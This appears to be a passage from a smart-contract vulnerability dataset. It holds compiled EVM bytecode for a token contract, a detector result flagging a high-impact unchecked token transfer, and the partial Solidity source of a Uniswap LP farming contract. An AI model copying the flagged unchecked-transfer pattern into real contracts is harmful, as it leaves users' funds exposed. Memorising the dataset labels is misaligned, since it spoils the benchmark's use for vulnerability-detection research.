8154815290600101906020018083116110f657829003601f168201915b505050505081565b600060026004602082020160003690501015151561113557fe5b60008314806111c057506000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15156111cb57600080fd5b82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a3600191505092915050565b60136020528060005260406000206000915054906101000a900460ff1681565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561133857600080fd5b6001601060156101000a81548160ff021916908315150217905550565b60075481565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806114045750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561140f57600080fd5b6000601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167f38f4e6c50264e8bca08019bebb0ae5ed2a0fbf11d410a70d1996397ea993b7ca60405160405180910390a250565b60005481565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561150f57600080fd5b6008544311151561151f57600080fd5b60008111151561152e57600080fd5b80600d60010181905550600d60126000600c548152602001908152602001600020600082015481600001556001820154816001015590505042600c819055507f5218a0a01af3bd40708b08afb13cb8a57baee0932ab4216b7f966011e0eb83e5600d6000015482604051808381526020018281526020019250505060405180910390a150565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601060169054906101000a900460ff16806116445750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b8061169c5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156116a757600080fd5b6116b2848484613160565b90509392505050565b6000806000806000339450601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154935060008411151561171a57600080fd5b601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015492506012600084815260200190815260200160002091506000826000015411151561178757600080fd5b816000015461179a858460010154612f46565b8115156117a357fe5b0490506000601160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550803073ffffffffffffffffffffffffffffffffffffffff163110151561181e57611819858286613527565b61182a565b6118298582866136bc565b5b5050505050565b60055481565b600c5481565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561189957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156118d557600080fd5b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60085481565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561197b57600080fd5b6008544310151561198b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156119c757600080fd5b6001601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611a298282612f81565b8173ffffffffffffffffffffffffffffffffffffffff167f38f4e6c50264e8bca08019bebb0ae5ed2a0fbf11d410a70d1996397ea993b7ca60405160405180910390a28173ffffffffffffffffffffffffffffffffffffffff167f8fa81bb0702332ea2a0aee44bb9e4d359cf4a2c5a820dd59d9129369bdbca73f826040518082815260200191505060405180910390a25050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600b5481565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b6957600080fd5b60085443101515611b7957600080fd5b8043101515611b8757600080fd5b8060088190555050565b601060169054906101000a900460ff1681565b600080600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c0357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611c3f57600080fd5b8291508173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015611cdd57600080fd5b505af1158015611cf1573d6000803e3d6000fd5b505050506040513d6020811015611d0757600080fd5b810190808051906020019092919050505090508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611ddf57600080fd5b505af1158015611df3573d6000803e3d6000fd5b505050506040513d6020811015611e0957600080fd5b810190808051906020019092919050505050505050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e7c57600080fd5b60075443101515611e8c57600080fd5b8043101515611e9a57600080fd5b8060078190555050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611f0057600080fd5b60085443111515611f1057600080fd5b6001601060166101000a81548160ff021916908315150217905550565b600f5481565b6000600360046020820201600036905010151515611f4d57fe5b83600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141515611fd757600080fd5b82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a360019150509392505050565b60116020528060005260406000206000915090508060000154908060010154905082565b6000601060169054906101000a900460ff16806121575750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b806121af5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156121ba57600080fd5b601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561221257600080fd5b6008544311151561222257600080fd5b60008211151561223157600080fd5b3390508161223e82611abe565b1015151561224b57600080fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015414151561229c57600080fd5b6122e5600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836137c6565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506040805190810160405280838152602001600c54815250601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000155602082015181600101559050508073ffffffffffffffffffffffffffffffffffffffff167fe9108d844f56ca04ce9bd77aa1484f155875f370276906296ed49b587b4df658836040518082815260200191505060405180910390a25050565b60048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561247d5780601f106124525761010080835404028352916020019161247d565b820191906000526020600020905b81548152906001019060200180831161246057829003601f168201915b505050505081565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061252e5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561253957600080fd5b3073ffffffffffffffffffffffffffffffffffffffff1631811115151561255f57600080fd5b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156125c7573d6000803e3d6000fd5b507f9a5a8a32afd899e7f95003c6e21c9fab2d50e11992439d14472229180c60c7aa816040518082815260200191505060405180910390a150565b600d8060000154908060010154905082565b60008060008311151561262657600080fd5b8261263033611abe565b1015151561263d57600080fd5b600d6000015461265284600d60010154612f46565b81151561265b57fe5b049050803073ffffffffffffffffffffffffffffffffffffffff16311015151561268457600080fd5b80915050919050565b61269633610e17565b565b6000601060169054906101000a900460ff16806127025750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b8061275a5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561276557600080fd5b61276f83836137df565b905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156127d357600080fd5b80600b8190555050565b60126020528060005260406000206000915090508060000154908060010154905082565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806128aa5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156128b557600080fd5b6000811115156128c457600080fd5b6128cd81613a17565b80600d60000181905550600d60126000600c548152602001908152602001600020600082015481600001556001820154816001015590505042600c819055507f5218a0a01af3bd40708b08afb13cb8a57baee0932ab4216b7f966011e0eb83e581600d60010154604051808381526020018281526020019250505060405180910390a150565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156129af57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156129eb57600080fd5b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000806000612a40436007546137c6565b91506064821015612a5857600d600101549250612aa9565b60c8821015612a87576064612a73600d60010154606e612f46565b811515612a7c57fe5b049050809250612aa9565b6064612a99600d600101546078612f46565b811515612aa257fe5b0490508092505b505090565b60065481565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612b5d5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515612b6857600080fd5b6001601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167f38f4e6c50264e8bca08019bebb0ae5ed2a0fbf11d410a70d1996397ea993b7ca60405160405180910390a250565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612d5c5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515612d6757600080fd5b600034111515612d7657600080fd5b7ff53d9d58a7ff16a2e1360446f1c4b5e81a427d3efd25615be081f4003662400a346040518082815260200191505060405180910390a1565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612e0b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515612e4757600080fd5b80601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160136000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601060146101000a81548160ff02191690831515021790555050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000841415612f5b5760009150612f7a565b8284029050828482811515612f6c57fe5b04141515612f7657fe5b8091505b5092915050565b600080601060149054906101000a900460ff161515612f9f57600080fd5b662386f26fc10000612fb884660644fd9b402d2d612f46565b811515612fc157fe5b049150612fce8383613ade565b9050600654612fdf60005483613ade565b11151515612fec57600080fd5b612ff860005482613ade565b600081905550613047600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484613ade565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130f560016000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483613ade565b60016000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505050565b600060036004602082020160003690501015151561317a57fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141515156131b657600080fd5b82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015613281575082600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b801561328d5750600083115b151561329857600080fd5b6132e1600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846137c6565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061336d600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484613ade565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613436600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846137c6565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b813073ffffffffffffffffffffffffffffffffffffffff16311015151561354a57fe5b6135b560016000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482613ade565b60016000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015613660573d6000803e3d6000fd5b508273ffffffffffffffffffffffffffffffffffffffff167f428732d7ed3df68ea62b538d42ada97036eb07c73e9f102ade029a54b1fd67438284604051808381526020018281526020019250505060405180910390a2505050565b813073ffffffffffffffffffffffffffffffffffffffff16311015156136de57fe5b613727600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482613ade565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f428732d7ed3df68ea62b538d42ada97036eb07c73e9f102ade029a54b1fd6743826000604051808381526020018281526020019250505060405180910390a2505050565b60008282111515156137d457fe5b818303905092915050565b60006002600460208202016000369050101515156137f957fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561383557600080fd5b82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156138845750600083115b151561388f57600080fd5b6138d8600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846137c6565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613964600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484613ade565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415613ada57600c54613a7e42600b546137c6565b10151515613a8b57600080fd5b81600d60000154811115613ad85760009150600d60000154613aae846064612f46565b811515613ab757fe5b049150613ac58260646137c6565b915060148211151515613ad757600080fd5b5b505b5050565b6000808284019050838110151515613af257fe5b80915050929150505600a165627a7a723058202a79eac9eb605123d74cc53108c3f316d783001e335ccbd9e0e22d0bd497052b0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 8,060 |
0x90940b9a36b11ca49e0ac64e8579504da13d2775
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.7.0;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) =
target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transfer.selector, to, value)
);
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, value)
);
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance =
token.allowance(address(this), spender).add(value);
_callOptionalReturn(
token,
abi.encodeWithSelector(
token.approve.selector,
spender,
newAllowance
)
);
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance =
token.allowance(address(this), spender).sub(
value,
"SafeERC20: decreased allowance below zero"
);
_callOptionalReturn(
token,
abi.encodeWithSelector(
token.approve.selector,
spender,
newAllowance
)
);
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata =
address(token).functionCall(
data,
"SafeERC20: low-level call failed"
);
if (returndata.length > 0) {
require(
abi.decode(returndata, (bool)),
"SafeERC20: ERC20 operation did not succeed"
);
}
}
}
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
"TransferHelper: APPROVE_FAILED"
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
"TransferHelper: TRANSFER_FAILED"
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
"TransferHelper: TRANSFER_FROM_FAILED"
);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IFarmFactory {
function userEnteredFarm(address _user) external;
function userLeftFarm(address _user) external;
function registerFarm(address _farmAddress) external;
}
contract FarmUniswap {
using SafeMath for uint256;
using SafeERC20 for IERC20;
/// @notice information stuct on each user than stakes LP tokens.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt.
}
/// @notice all the settings for this farm in one struct
struct FarmInfo {
IERC20 lpToken;
IERC20 rewardToken;
uint256 startBlock;
uint256 blockReward;
uint256 bonusEndBlock;
uint256 bonus;
uint256 endBlock;
uint256 lastRewardBlock; // Last block number that reward distribution occurs.
uint256 accRewardPerShare; // Accumulated Rewards per share, times 1e12
uint256 farmableSupply; // set in init, total amount of tokens farmable
uint256 numFarmers;
}
/// @notice farm type id. Useful for back-end systems to know how to read the contract (ABI) as we plan to launch multiple farm types
uint256 public farmType = 1;
IFarmFactory public factory;
address public farmGenerator;
FarmInfo public farmInfo;
/// @notice information on each user than stakes LP tokens
mapping(address => UserInfo) public userInfo;
event Deposit(address indexed user, uint256 amount);
event Withdraw(address indexed user, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 amount);
constructor(address _factory, address _farmGenerator) public {
factory = IFarmFactory(_factory);
farmGenerator = _farmGenerator;
}
/**
* @notice initialize the farming contract. This is called only once upon farm creation and the FarmGenerator ensures the farm has the correct paramaters
*/
function init(
IERC20 _rewardToken,
uint256 _amount,
IERC20 _lpToken,
uint256 _blockReward,
uint256 _startBlock,
uint256 _endBlock,
uint256 _bonusEndBlock,
uint256 _bonus
) public {
address msgSender = _msgSender();
require(msgSender == address(farmGenerator), "FORBIDDEN");
TransferHelper.safeTransferFrom(
address(_rewardToken),
msgSender,
address(this),
_amount
);
farmInfo.rewardToken = _rewardToken;
farmInfo.startBlock = _startBlock;
farmInfo.blockReward = _blockReward;
farmInfo.bonusEndBlock = _bonusEndBlock;
farmInfo.bonus = _bonus;
uint256 lastRewardBlock =
block.number > _startBlock ? block.number : _startBlock;
farmInfo.lpToken = _lpToken;
farmInfo.lastRewardBlock = lastRewardBlock;
farmInfo.accRewardPerShare = 0;
farmInfo.endBlock = _endBlock;
farmInfo.farmableSupply = _amount;
}
/**
* @notice Gets the reward multiplier over the given _from_block until _to block
* @param _from_block the start of the period to measure rewards for
* @param _to the end of the period to measure rewards for
* @return The weighted multiplier for the given period
*/
function getMultiplier(uint256 _from_block, uint256 _to)
public
view
returns (uint256)
{
uint256 _from =
_from_block >= farmInfo.startBlock
? _from_block
: farmInfo.startBlock;
uint256 to = farmInfo.endBlock > _to ? _to : farmInfo.endBlock;
//
if (to <= farmInfo.bonusEndBlock) {
return to.sub(_from).mul(farmInfo.bonus);
} else if (_from >= farmInfo.bonusEndBlock) {
return to.sub(_from);
} else {
return
farmInfo.bonusEndBlock.sub(_from).mul(farmInfo.bonus).add(
to.sub(farmInfo.bonusEndBlock)
);
}
}
/**
* @notice function to see accumulated balance of reward token for specified user
* @param _user the user for whom unclaimed tokens will be shown
* @return total amount of withdrawable reward tokens
*/
function pendingReward(address _user) external view returns (uint256) {
UserInfo storage user = userInfo[_user];
uint256 accRewardPerShare = farmInfo.accRewardPerShare;
uint256 lpSupply = farmInfo.lpToken.balanceOf(address(this));
if (block.number > farmInfo.lastRewardBlock && lpSupply != 0) {
uint256 multiplier =
getMultiplier(farmInfo.lastRewardBlock, block.number);
uint256 tokenReward = multiplier.mul(farmInfo.blockReward);
accRewardPerShare = accRewardPerShare.add(
tokenReward.mul(1e12).div(lpSupply)
);
}
return
user.amount.mul(accRewardPerShare).div(1e12).sub(user.rewardDebt);
}
/**
* @notice updates pool information to be up to date to the current block
*/
function updatePool() public {
if (block.number <= farmInfo.lastRewardBlock) {
return;
}
uint256 lpSupply = farmInfo.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
farmInfo.lastRewardBlock = block.number < farmInfo.endBlock
? block.number
: farmInfo.endBlock;
return;
}
uint256 multiplier =
getMultiplier(farmInfo.lastRewardBlock, block.number);
uint256 tokenReward = multiplier.mul(farmInfo.blockReward);
farmInfo.accRewardPerShare = farmInfo.accRewardPerShare.add(
tokenReward.mul(1e12).div(lpSupply)
);
farmInfo.lastRewardBlock = block.number < farmInfo.endBlock
? block.number
: farmInfo.endBlock;
}
/**
* @notice deposit LP token function for msgSender
* @param _amount the total deposit amount
*/
